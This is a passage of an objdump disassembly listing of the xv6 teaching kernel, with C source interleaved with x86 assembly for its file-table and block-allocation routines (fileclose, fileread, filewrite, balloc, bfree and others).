80100fb1: 8b 40 04 mov 0x4(%eax),%eax
80100fb4: 8d 50 01 lea 0x1(%eax),%edx
80100fb7: 8b 45 08 mov 0x8(%ebp),%eax
80100fba: 89 50 04 mov %edx,0x4(%eax)
release(&ftable.lock);
80100fbd: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80100fc4: e8 aa 3e 00 00 call 80104e73 <release>
return f;
80100fc9: 8b 45 08 mov 0x8(%ebp),%eax
}
80100fcc: c9 leave
80100fcd: c3 ret
80100fce <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100fce: 55 push %ebp
80100fcf: 89 e5 mov %esp,%ebp
80100fd1: 83 ec 38 sub $0x38,%esp
struct file ff;
acquire(&ftable.lock);
80100fd4: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80100fdb: e8 31 3e 00 00 call 80104e11 <acquire>
if(f->ref < 1)
80100fe0: 8b 45 08 mov 0x8(%ebp),%eax
80100fe3: 8b 40 04 mov 0x4(%eax),%eax
80100fe6: 85 c0 test %eax,%eax
80100fe8: 7f 0c jg 80100ff6 <fileclose+0x28>
panic("fileclose");
80100fea: c7 04 24 0c 87 10 80 movl $0x8010870c,(%esp)
80100ff1: e8 44 f5 ff ff call 8010053a <panic>
if(--f->ref > 0){
80100ff6: 8b 45 08 mov 0x8(%ebp),%eax
80100ff9: 8b 40 04 mov 0x4(%eax),%eax
80100ffc: 8d 50 ff lea -0x1(%eax),%edx
80100fff: 8b 45 08 mov 0x8(%ebp),%eax
80101002: 89 50 04 mov %edx,0x4(%eax)
80101005: 8b 45 08 mov 0x8(%ebp),%eax
80101008: 8b 40 04 mov 0x4(%eax),%eax
8010100b: 85 c0 test %eax,%eax
8010100d: 7e 11 jle 80101020 <fileclose+0x52>
release(&ftable.lock);
8010100f: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80101016: e8 58 3e 00 00 call 80104e73 <release>
8010101b: e9 82 00 00 00 jmp 801010a2 <fileclose+0xd4>
return;
}
ff = *f;
80101020: 8b 45 08 mov 0x8(%ebp),%eax
80101023: 8b 10 mov (%eax),%edx
80101025: 89 55 e0 mov %edx,-0x20(%ebp)
80101028: 8b 50 04 mov 0x4(%eax),%edx
8010102b: 89 55 e4 mov %edx,-0x1c(%ebp)
8010102e: 8b 50 08 mov 0x8(%eax),%edx
80101031: 89 55 e8 mov %edx,-0x18(%ebp)
80101034: 8b 50 0c mov 0xc(%eax),%edx
80101037: 89 55 ec mov %edx,-0x14(%ebp)
8010103a: 8b 50 10 mov 0x10(%eax),%edx
8010103d: 89 55 f0 mov %edx,-0x10(%ebp)
80101040: 8b 40 14 mov 0x14(%eax),%eax
80101043: 89 45 f4 mov %eax,-0xc(%ebp)
f->ref = 0;
80101046: 8b 45 08 mov 0x8(%ebp),%eax
80101049: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
f->type = FD_NONE;
80101050: 8b 45 08 mov 0x8(%ebp),%eax
80101053: c7 00 00 00 00 00 movl $0x0,(%eax)
release(&ftable.lock);
80101059: c7 04 24 40 08 11 80 movl $0x80110840,(%esp)
80101060: e8 0e 3e 00 00 call 80104e73 <release>
if(ff.type == FD_PIPE)
80101065: 8b 45 e0 mov -0x20(%ebp),%eax
80101068: 83 f8 01 cmp $0x1,%eax
8010106b: 75 18 jne 80101085 <fileclose+0xb7>
pipeclose(ff.pipe, ff.writable);
8010106d: 0f b6 45 e9 movzbl -0x17(%ebp),%eax
80101071: 0f be d0 movsbl %al,%edx
80101074: 8b 45 ec mov -0x14(%ebp),%eax
80101077: 89 54 24 04 mov %edx,0x4(%esp)
8010107b: 89 04 24 mov %eax,(%esp)
8010107e: e8 ff 2f 00 00 call 80104082 <pipeclose>
80101083: eb 1d jmp 801010a2 <fileclose+0xd4>
else if(ff.type == FD_INODE){
80101085: 8b 45 e0 mov -0x20(%ebp),%eax
80101088: 83 f8 02 cmp $0x2,%eax
8010108b: 75 15 jne 801010a2 <fileclose+0xd4>
begin_op();
8010108d: e8 7e 23 00 00 call 80103410 <begin_op>
iput(ff.ip);
80101092: 8b 45 f0 mov -0x10(%ebp),%eax
80101095: 89 04 24 mov %eax,(%esp)
80101098: e8 71 09 00 00 call 80101a0e <iput>
end_op();
8010109d: e8 f2 23 00 00 call 80103494 <end_op>
}
}
801010a2: c9 leave
801010a3: c3 ret
801010a4 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
801010a4: 55 push %ebp
801010a5: 89 e5 mov %esp,%ebp
801010a7: 83 ec 18 sub $0x18,%esp
if(f->type == FD_INODE){
801010aa: 8b 45 08 mov 0x8(%ebp),%eax
801010ad: 8b 00 mov (%eax),%eax
801010af: 83 f8 02 cmp $0x2,%eax
801010b2: 75 38 jne 801010ec <filestat+0x48>
ilock(f->ip);
801010b4: 8b 45 08 mov 0x8(%ebp),%eax
801010b7: 8b 40 10 mov 0x10(%eax),%eax
801010ba: 89 04 24 mov %eax,(%esp)
801010bd: e8 99 07 00 00 call 8010185b <ilock>
stati(f->ip, st);
801010c2: 8b 45 08 mov 0x8(%ebp),%eax
801010c5: 8b 40 10 mov 0x10(%eax),%eax
801010c8: 8b 55 0c mov 0xc(%ebp),%edx
801010cb: 89 54 24 04 mov %edx,0x4(%esp)
801010cf: 89 04 24 mov %eax,(%esp)
801010d2: e8 4c 0c 00 00 call 80101d23 <stati>
iunlock(f->ip);
801010d7: 8b 45 08 mov 0x8(%ebp),%eax
801010da: 8b 40 10 mov 0x10(%eax),%eax
801010dd: 89 04 24 mov %eax,(%esp)
801010e0: e8 c4 08 00 00 call 801019a9 <iunlock>
return 0;
801010e5: b8 00 00 00 00 mov $0x0,%eax
801010ea: eb 05 jmp 801010f1 <filestat+0x4d>
}
return -1;
801010ec: b8 ff ff ff ff mov $0xffffffff,%eax
}
801010f1: c9 leave
801010f2: c3 ret
801010f3 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
801010f3: 55 push %ebp
801010f4: 89 e5 mov %esp,%ebp
801010f6: 83 ec 28 sub $0x28,%esp
int r;
if(f->readable == 0)
801010f9: 8b 45 08 mov 0x8(%ebp),%eax
801010fc: 0f b6 40 08 movzbl 0x8(%eax),%eax
80101100: 84 c0 test %al,%al
80101102: 75 0a jne 8010110e <fileread+0x1b>
return -1;
80101104: b8 ff ff ff ff mov $0xffffffff,%eax
80101109: e9 9f 00 00 00 jmp 801011ad <fileread+0xba>
if(f->type == FD_PIPE)
8010110e: 8b 45 08 mov 0x8(%ebp),%eax
80101111: 8b 00 mov (%eax),%eax
80101113: 83 f8 01 cmp $0x1,%eax
80101116: 75 1e jne 80101136 <fileread+0x43>
return piperead(f->pipe, addr, n);
80101118: 8b 45 08 mov 0x8(%ebp),%eax
8010111b: 8b 40 0c mov 0xc(%eax),%eax
8010111e: 8b 55 10 mov 0x10(%ebp),%edx
80101121: 89 54 24 08 mov %edx,0x8(%esp)
80101125: 8b 55 0c mov 0xc(%ebp),%edx
80101128: 89 54 24 04 mov %edx,0x4(%esp)
8010112c: 89 04 24 mov %eax,(%esp)
8010112f: e8 cf 30 00 00 call 80104203 <piperead>
80101134: eb 77 jmp 801011ad <fileread+0xba>
if(f->type == FD_INODE){
80101136: 8b 45 08 mov 0x8(%ebp),%eax
80101139: 8b 00 mov (%eax),%eax
8010113b: 83 f8 02 cmp $0x2,%eax
8010113e: 75 61 jne 801011a1 <fileread+0xae>
ilock(f->ip);
80101140: 8b 45 08 mov 0x8(%ebp),%eax
80101143: 8b 40 10 mov 0x10(%eax),%eax
80101146: 89 04 24 mov %eax,(%esp)
80101149: e8 0d 07 00 00 call 8010185b <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
8010114e: 8b 4d 10 mov 0x10(%ebp),%ecx
80101151: 8b 45 08 mov 0x8(%ebp),%eax
80101154: 8b 50 14 mov 0x14(%eax),%edx
80101157: 8b 45 08 mov 0x8(%ebp),%eax
8010115a: 8b 40 10 mov 0x10(%eax),%eax
8010115d: 89 4c 24 0c mov %ecx,0xc(%esp)
80101161: 89 54 24 08 mov %edx,0x8(%esp)
80101165: 8b 55 0c mov 0xc(%ebp),%edx
80101168: 89 54 24 04 mov %edx,0x4(%esp)
8010116c: 89 04 24 mov %eax,(%esp)
8010116f: e8 f4 0b 00 00 call 80101d68 <readi>
80101174: 89 45 f4 mov %eax,-0xc(%ebp)
80101177: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010117b: 7e 11 jle 8010118e <fileread+0x9b>
f->off += r;
8010117d: 8b 45 08 mov 0x8(%ebp),%eax
80101180: 8b 50 14 mov 0x14(%eax),%edx
80101183: 8b 45 f4 mov -0xc(%ebp),%eax
80101186: 01 c2 add %eax,%edx
80101188: 8b 45 08 mov 0x8(%ebp),%eax
8010118b: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
8010118e: 8b 45 08 mov 0x8(%ebp),%eax
80101191: 8b 40 10 mov 0x10(%eax),%eax
80101194: 89 04 24 mov %eax,(%esp)
80101197: e8 0d 08 00 00 call 801019a9 <iunlock>
return r;
8010119c: 8b 45 f4 mov -0xc(%ebp),%eax
8010119f: eb 0c jmp 801011ad <fileread+0xba>
}
panic("fileread");
801011a1: c7 04 24 16 87 10 80 movl $0x80108716,(%esp)
801011a8: e8 8d f3 ff ff call 8010053a <panic>
}
801011ad: c9 leave
801011ae: c3 ret
801011af <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
801011af: 55 push %ebp
801011b0: 89 e5 mov %esp,%ebp
801011b2: 53 push %ebx
801011b3: 83 ec 24 sub $0x24,%esp
int r;
if(f->writable == 0)
801011b6: 8b 45 08 mov 0x8(%ebp),%eax
801011b9: 0f b6 40 09 movzbl 0x9(%eax),%eax
801011bd: 84 c0 test %al,%al
801011bf: 75 0a jne 801011cb <filewrite+0x1c>
return -1;
801011c1: b8 ff ff ff ff mov $0xffffffff,%eax
801011c6: e9 20 01 00 00 jmp 801012eb <filewrite+0x13c>
if(f->type == FD_PIPE)
801011cb: 8b 45 08 mov 0x8(%ebp),%eax
801011ce: 8b 00 mov (%eax),%eax
801011d0: 83 f8 01 cmp $0x1,%eax
801011d3: 75 21 jne 801011f6 <filewrite+0x47>
return pipewrite(f->pipe, addr, n);
801011d5: 8b 45 08 mov 0x8(%ebp),%eax
801011d8: 8b 40 0c mov 0xc(%eax),%eax
801011db: 8b 55 10 mov 0x10(%ebp),%edx
801011de: 89 54 24 08 mov %edx,0x8(%esp)
801011e2: 8b 55 0c mov 0xc(%ebp),%edx
801011e5: 89 54 24 04 mov %edx,0x4(%esp)
801011e9: 89 04 24 mov %eax,(%esp)
801011ec: e8 23 2f 00 00 call 80104114 <pipewrite>
801011f1: e9 f5 00 00 00 jmp 801012eb <filewrite+0x13c>
if(f->type == FD_INODE){
801011f6: 8b 45 08 mov 0x8(%ebp),%eax
801011f9: 8b 00 mov (%eax),%eax
801011fb: 83 f8 02 cmp $0x2,%eax
801011fe: 0f 85 db 00 00 00 jne 801012df <filewrite+0x130>
// the maximum log transaction size, including
// i-node, indirect block, allocation blocks,
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
80101204: c7 45 ec 00 1a 00 00 movl $0x1a00,-0x14(%ebp)
int i = 0;
8010120b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while(i < n){
80101212: e9 a8 00 00 00 jmp 801012bf <filewrite+0x110>
int n1 = n - i;
80101217: 8b 45 f4 mov -0xc(%ebp),%eax
8010121a: 8b 55 10 mov 0x10(%ebp),%edx
8010121d: 29 c2 sub %eax,%edx
8010121f: 89 d0 mov %edx,%eax
80101221: 89 45 f0 mov %eax,-0x10(%ebp)
if(n1 > max)
80101224: 8b 45 f0 mov -0x10(%ebp),%eax
80101227: 3b 45 ec cmp -0x14(%ebp),%eax
8010122a: 7e 06 jle 80101232 <filewrite+0x83>
n1 = max;
8010122c: 8b 45 ec mov -0x14(%ebp),%eax
8010122f: 89 45 f0 mov %eax,-0x10(%ebp)
begin_op();
80101232: e8 d9 21 00 00 call 80103410 <begin_op>
ilock(f->ip);
80101237: 8b 45 08 mov 0x8(%ebp),%eax
8010123a: 8b 40 10 mov 0x10(%eax),%eax
8010123d: 89 04 24 mov %eax,(%esp)
80101240: e8 16 06 00 00 call 8010185b <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101245: 8b 4d f0 mov -0x10(%ebp),%ecx
80101248: 8b 45 08 mov 0x8(%ebp),%eax
8010124b: 8b 50 14 mov 0x14(%eax),%edx
8010124e: 8b 5d f4 mov -0xc(%ebp),%ebx
80101251: 8b 45 0c mov 0xc(%ebp),%eax
80101254: 01 c3 add %eax,%ebx
80101256: 8b 45 08 mov 0x8(%ebp),%eax
80101259: 8b 40 10 mov 0x10(%eax),%eax
8010125c: 89 4c 24 0c mov %ecx,0xc(%esp)
80101260: 89 54 24 08 mov %edx,0x8(%esp)
80101264: 89 5c 24 04 mov %ebx,0x4(%esp)
80101268: 89 04 24 mov %eax,(%esp)
8010126b: e8 5c 0c 00 00 call 80101ecc <writei>
80101270: 89 45 e8 mov %eax,-0x18(%ebp)
80101273: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
80101277: 7e 11 jle 8010128a <filewrite+0xdb>
f->off += r;
80101279: 8b 45 08 mov 0x8(%ebp),%eax
8010127c: 8b 50 14 mov 0x14(%eax),%edx
8010127f: 8b 45 e8 mov -0x18(%ebp),%eax
80101282: 01 c2 add %eax,%edx
80101284: 8b 45 08 mov 0x8(%ebp),%eax
80101287: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
8010128a: 8b 45 08 mov 0x8(%ebp),%eax
8010128d: 8b 40 10 mov 0x10(%eax),%eax
80101290: 89 04 24 mov %eax,(%esp)
80101293: e8 11 07 00 00 call 801019a9 <iunlock>
end_op();
80101298: e8 f7 21 00 00 call 80103494 <end_op>
if(r < 0)
8010129d: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801012a1: 79 02 jns 801012a5 <filewrite+0xf6>
break;
801012a3: eb 26 jmp 801012cb <filewrite+0x11c>
if(r != n1)
801012a5: 8b 45 e8 mov -0x18(%ebp),%eax
801012a8: 3b 45 f0 cmp -0x10(%ebp),%eax
801012ab: 74 0c je 801012b9 <filewrite+0x10a>
panic("short filewrite");
801012ad: c7 04 24 1f 87 10 80 movl $0x8010871f,(%esp)
801012b4: e8 81 f2 ff ff call 8010053a <panic>
i += r;
801012b9: 8b 45 e8 mov -0x18(%ebp),%eax
801012bc: 01 45 f4 add %eax,-0xc(%ebp)
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
801012bf: 8b 45 f4 mov -0xc(%ebp),%eax
801012c2: 3b 45 10 cmp 0x10(%ebp),%eax
801012c5: 0f 8c 4c ff ff ff jl 80101217 <filewrite+0x68>
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801012cb: 8b 45 f4 mov -0xc(%ebp),%eax
801012ce: 3b 45 10 cmp 0x10(%ebp),%eax
801012d1: 75 05 jne 801012d8 <filewrite+0x129>
801012d3: 8b 45 10 mov 0x10(%ebp),%eax
801012d6: eb 05 jmp 801012dd <filewrite+0x12e>
801012d8: b8 ff ff ff ff mov $0xffffffff,%eax
801012dd: eb 0c jmp 801012eb <filewrite+0x13c>
}
panic("filewrite");
801012df: c7 04 24 2f 87 10 80 movl $0x8010872f,(%esp)
801012e6: e8 4f f2 ff ff call 8010053a <panic>
}
801012eb: 83 c4 24 add $0x24,%esp
801012ee: 5b pop %ebx
801012ef: 5d pop %ebp
801012f0: c3 ret
801012f1 <readsb>:
static void itrunc(struct inode*);
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
801012f1: 55 push %ebp
801012f2: 89 e5 mov %esp,%ebp
801012f4: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, 1);
801012f7: 8b 45 08 mov 0x8(%ebp),%eax
801012fa: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80101301: 00
80101302: 89 04 24 mov %eax,(%esp)
80101305: e8 9c ee ff ff call 801001a6 <bread>
8010130a: 89 45 f4 mov %eax,-0xc(%ebp)
memmove(sb, bp->data, sizeof(*sb));
8010130d: 8b 45 f4 mov -0xc(%ebp),%eax
80101310: 83 c0 18 add $0x18,%eax
80101313: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010131a: 00
8010131b: 89 44 24 04 mov %eax,0x4(%esp)
8010131f: 8b 45 0c mov 0xc(%ebp),%eax
80101322: 89 04 24 mov %eax,(%esp)
80101325: e8 0a 3e 00 00 call 80105134 <memmove>
brelse(bp);
8010132a: 8b 45 f4 mov -0xc(%ebp),%eax
8010132d: 89 04 24 mov %eax,(%esp)
80101330: e8 e2 ee ff ff call 80100217 <brelse>
}
80101335: c9 leave
80101336: c3 ret
80101337 <bzero>:
// Zero a block.
static void
bzero(int dev, int bno)
{
80101337: 55 push %ebp
80101338: 89 e5 mov %esp,%ebp
8010133a: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, bno);
8010133d: 8b 55 0c mov 0xc(%ebp),%edx
80101340: 8b 45 08 mov 0x8(%ebp),%eax
80101343: 89 54 24 04 mov %edx,0x4(%esp)
80101347: 89 04 24 mov %eax,(%esp)
8010134a: e8 57 ee ff ff call 801001a6 <bread>
8010134f: 89 45 f4 mov %eax,-0xc(%ebp)
memset(bp->data, 0, BSIZE);
80101352: 8b 45 f4 mov -0xc(%ebp),%eax
80101355: 83 c0 18 add $0x18,%eax
80101358: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
8010135f: 00
80101360: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101367: 00
80101368: 89 04 24 mov %eax,(%esp)
8010136b: e8 f5 3c 00 00 call 80105065 <memset>
log_write(bp);
80101370: 8b 45 f4 mov -0xc(%ebp),%eax
80101373: 89 04 24 mov %eax,(%esp)
80101376: e8 a0 22 00 00 call 8010361b <log_write>
brelse(bp);
8010137b: 8b 45 f4 mov -0xc(%ebp),%eax
8010137e: 89 04 24 mov %eax,(%esp)
80101381: e8 91 ee ff ff call 80100217 <brelse>
}
80101386: c9 leave
80101387: c3 ret
80101388 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
80101388: 55 push %ebp
80101389: 89 e5 mov %esp,%ebp
8010138b: 83 ec 38 sub $0x38,%esp
int b, bi, m;
struct buf *bp;
struct superblock sb;
bp = 0;
8010138e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
readsb(dev, &sb);
80101395: 8b 45 08 mov 0x8(%ebp),%eax
80101398: 8d 55 d8 lea -0x28(%ebp),%edx
8010139b: 89 54 24 04 mov %edx,0x4(%esp)
8010139f: 89 04 24 mov %eax,(%esp)
801013a2: e8 4a ff ff ff call 801012f1 <readsb>
for(b = 0; b < sb.size; b += BPB){
801013a7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801013ae: e9 07 01 00 00 jmp 801014ba <balloc+0x132>
bp = bread(dev, BBLOCK(b, sb.ninodes));
801013b3: 8b 45 f4 mov -0xc(%ebp),%eax
801013b6: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
801013bc: 85 c0 test %eax,%eax
801013be: 0f 48 c2 cmovs %edx,%eax
801013c1: c1 f8 0c sar $0xc,%eax
801013c4: 8b 55 e0 mov -0x20(%ebp),%edx
801013c7: c1 ea 03 shr $0x3,%edx
801013ca: 01 d0 add %edx,%eax
801013cc: 83 c0 03 add $0x3,%eax
801013cf: 89 44 24 04 mov %eax,0x4(%esp)
801013d3: 8b 45 08 mov 0x8(%ebp),%eax
801013d6: 89 04 24 mov %eax,(%esp)
801013d9: e8 c8 ed ff ff call 801001a6 <bread>
801013de: 89 45 ec mov %eax,-0x14(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801013e1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
801013e8: e9 9d 00 00 00 jmp 8010148a <balloc+0x102>
m = 1 << (bi % 8);
801013ed: 8b 45 f0 mov -0x10(%ebp),%eax
801013f0: 99 cltd
801013f1: c1 ea 1d shr $0x1d,%edx
801013f4: 01 d0 add %edx,%eax
801013f6: 83 e0 07 and $0x7,%eax
801013f9: 29 d0 sub %edx,%eax
801013fb: ba 01 00 00 00 mov $0x1,%edx
80101400: 89 c1 mov %eax,%ecx
80101402: d3 e2 shl %cl,%edx
80101404: 89 d0 mov %edx,%eax
80101406: 89 45 e8 mov %eax,-0x18(%ebp)
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101409: 8b 45 f0 mov -0x10(%ebp),%eax
8010140c: 8d 50 07 lea 0x7(%eax),%edx
8010140f: 85 c0 test %eax,%eax
80101411: 0f 48 c2 cmovs %edx,%eax
80101414: c1 f8 03 sar $0x3,%eax
80101417: 8b 55 ec mov -0x14(%ebp),%edx
8010141a: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax
8010141f: 0f b6 c0 movzbl %al,%eax
80101422: 23 45 e8 and -0x18(%ebp),%eax
80101425: 85 c0 test %eax,%eax
80101427: 75 5d jne 80101486 <balloc+0xfe>
bp->data[bi/8] |= m; // Mark block in use.
80101429: 8b 45 f0 mov -0x10(%ebp),%eax
8010142c: 8d 50 07 lea 0x7(%eax),%edx
8010142f: 85 c0 test %eax,%eax
80101431: 0f 48 c2 cmovs %edx,%eax
80101434: c1 f8 03 sar $0x3,%eax
80101437: 8b 55 ec mov -0x14(%ebp),%edx
8010143a: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx
8010143f: 89 d1 mov %edx,%ecx
80101441: 8b 55 e8 mov -0x18(%ebp),%edx
80101444: 09 ca or %ecx,%edx
80101446: 89 d1 mov %edx,%ecx
80101448: 8b 55 ec mov -0x14(%ebp),%edx
8010144b: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1)
log_write(bp);
8010144f: 8b 45 ec mov -0x14(%ebp),%eax
80101452: 89 04 24 mov %eax,(%esp)
80101455: e8 c1 21 00 00 call 8010361b <log_write>
brelse(bp);
8010145a: 8b 45 ec mov -0x14(%ebp),%eax
8010145d: 89 04 24 mov %eax,(%esp)
80101460: e8 b2 ed ff ff call 80100217 <brelse>
bzero(dev, b + bi);
80101465: 8b 45 f0 mov -0x10(%ebp),%eax
80101468: 8b 55 f4 mov -0xc(%ebp),%edx
8010146b: 01 c2 add %eax,%edx
8010146d: 8b 45 08 mov 0x8(%ebp),%eax
80101470: 89 54 24 04 mov %edx,0x4(%esp)
80101474: 89 04 24 mov %eax,(%esp)
80101477: e8 bb fe ff ff call 80101337 <bzero>
return b + bi;
8010147c: 8b 45 f0 mov -0x10(%ebp),%eax
8010147f: 8b 55 f4 mov -0xc(%ebp),%edx
80101482: 01 d0 add %edx,%eax
80101484: eb 4e jmp 801014d4 <balloc+0x14c>
bp = 0;
readsb(dev, &sb);
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb.ninodes));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101486: 83 45 f0 01 addl $0x1,-0x10(%ebp)
8010148a: 81 7d f0 ff 0f 00 00 cmpl $0xfff,-0x10(%ebp)
80101491: 7f 15 jg 801014a8 <balloc+0x120>
80101493: 8b 45 f0 mov -0x10(%ebp),%eax
80101496: 8b 55 f4 mov -0xc(%ebp),%edx
80101499: 01 d0 add %edx,%eax
8010149b: 89 c2 mov %eax,%edx
8010149d: 8b 45 d8 mov -0x28(%ebp),%eax
801014a0: 39 c2 cmp %eax,%edx
801014a2: 0f 82 45 ff ff ff jb 801013ed <balloc+0x65>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
801014a8: 8b 45 ec mov -0x14(%ebp),%eax
801014ab: 89 04 24 mov %eax,(%esp)
801014ae: e8 64 ed ff ff call 80100217 <brelse>
struct buf *bp;
struct superblock sb;
bp = 0;
readsb(dev, &sb);
for(b = 0; b < sb.size; b += BPB){
801014b3: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
801014ba: 8b 55 f4 mov -0xc(%ebp),%edx
801014bd: 8b 45 d8 mov -0x28(%ebp),%eax
801014c0: 39 c2 cmp %eax,%edx
801014c2: 0f 82 eb fe ff ff jb 801013b3 <balloc+0x2b>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
801014c8: c7 04 24 39 87 10 80 movl $0x80108739,(%esp)
801014cf: e8 66 f0 ff ff call 8010053a <panic>
}
801014d4: c9 leave
801014d5: c3 ret
801014d6 <bfree>:
// Free a disk block.
static void
bfree(int dev, uint b)
{
801014d6: 55 push %ebp
801014d7: 89 e5 mov %esp,%ebp
801014d9: 83 ec 38 sub $0x38,%esp
struct buf *bp;
struct superblock sb;
int bi, m;
readsb(dev, &sb);
801014dc: 8d 45 dc lea -0x24(%ebp),%eax
801014df: 89 44 24 04 mov %eax,0x4(%esp)
801014e3: 8b 45 08 mov 0x8(%ebp),%eax
801014e6: 89 04 24 mov %eax,(%esp)
801014e9: e8 03 fe ff ff call 801012f1 <readsb>
bp = bread(dev, BBLOCK(b, sb.ninodes));
801014ee: 8b 45 0c mov 0xc(%ebp),%eax
801014f1: c1 e8 0c shr $0xc,%eax
801014f4: 89 c2 mov %eax,%edx
801014f6: 8b 45 e4 mov -0x1c(%ebp),%eax
801014f9: c1 e8 03 shr $0x3,%eax
801014fc: 01 d0 add %edx,%eax
801014fe: 8d 50 03 lea 0x3(%eax),%edx
80101501: 8b 45 08 mov 0x8(%ebp),%eax
80101504: 89 54 24 04 mov %edx,0x4(%esp)
80101508: 89 04 24 mov %eax,(%esp)
8010150b: e8 96 ec ff ff call 801001a6 <bread>
80101510: 89 45 f4 mov %eax,-0xc(%ebp)
bi = b % BPB;
80101513: 8b 45 0c mov 0xc(%ebp),%eax
80101516: 25 ff 0f 00 00 and $0xfff,%eax
8010151b: 89 45 f0 mov %eax,-0x10(%ebp)
m = 1 << (bi % 8);
8010151e: 8b 45 f0 mov -0x10(%ebp),%eax
80101521: 99 cltd
80101522: c1 ea 1d shr $0x1d,%edx
80101525: 01 d0 add %edx,%eax
80101527: 83 e0 07 and $0x7,%eax
8010152a: 29 d0 sub %edx,%eax
8010152c: ba 01 00 00 00 mov $0x1,%edx
80101531: 89 c1 mov %eax,%ecx
80101533: d3 e2 shl %cl,%edx
80101535: 89 d0 mov %edx,%eax
80101537: 89 45 ec mov %eax,-0x14(%ebp)
if((bp->data[bi/8] & m) == 0)
8010153a: 8b 45 f0 mov -0x10(%ebp),%eax
8010153d: 8d 50 07 lea 0x7(%eax),%edx
80101540: 85 c0 test %eax,%eax
80101542: 0f 48 c2 cmovs %edx,%eax
80101545: c1 f8 03 sar $0x3,%eax
80101548: 8b 55 f4 mov -0xc(%ebp),%edx
8010154b: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax
80101550: 0f b6 c0 movzbl %al,%eax
80101553: 23 45 ec and -0x14(%ebp),%eax
80101556: 85 c0 test %eax,%eax
80101558: 75 0c jne 80101566 <bfree+0x90>
panic("freeing free block");
8010155a: c7 04 24 4f 87 10 80 movl $0x8010874f,(%esp)
80101561: e8 d4 ef ff ff call 8010053a <panic>
bp->data[bi/8] &= ~m;
80101566: 8b 45 f0 mov -0x10(%ebp),%eax
80101569: 8d 50 07 lea 0x7(%eax),%edx
8010156c: 85 c0 test %eax,%eax
8010156e: 0f 48 c2 cmovs %edx,%eax
80101571: c1 f8 03 sar $0x3,%eax
80101574: 8b 55 f4 mov -0xc(%ebp),%edx
80101577: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx
8010157c: 8b 4d ec mov -0x14(%ebp),%ecx
8010157f: f7 d1 not %ecx
80101581: 21 ca and %ecx,%edx
80101583: 89 d1 mov %edx,%ecx
80101585: 8b 55 f4 mov -0xc(%ebp),%edx
80101588: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1)
log_write(bp);
8010158c: 8b 45 f4 mov -0xc(%ebp),%eax
8010158f: 89 04 24 mov %eax,(%esp)
80101592: e8 84 20 00 00 call 8010361b <log_write>
brelse(bp);
80101597: 8b 45 f4 mov -0xc(%ebp),%eax
8010159a: 89 04 24 mov %eax,(%esp)
8010159d: e8 75 ec ff ff call 80100217 <brelse>
}
801015a2: c9 leave
801015a3: c3 ret
801015a4 <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(void)
{
801015a4: 55 push %ebp
801015a5: 89 e5 mov %esp,%ebp
801015a7: 83 ec 18 sub $0x18,%esp
initlock(&icache.lock, "icache");
801015aa: c7 44 24 04 62 87 10 movl $0x80108762,0x4(%esp)
801015b1: 80
801015b2: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
801015b9: e8 32 38 00 00 call 80104df0 <initlock>
}
801015be: c9 leave
801015bf: c3 ret
801015c0 <ialloc>:
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
801015c0: 55 push %ebp
801015c1: 89 e5 mov %esp,%ebp
801015c3: 83 ec 38 sub $0x38,%esp
801015c6: 8b 45 0c mov 0xc(%ebp),%eax
801015c9: 66 89 45 d4 mov %ax,-0x2c(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
struct superblock sb;
readsb(dev, &sb);
801015cd: 8b 45 08 mov 0x8(%ebp),%eax
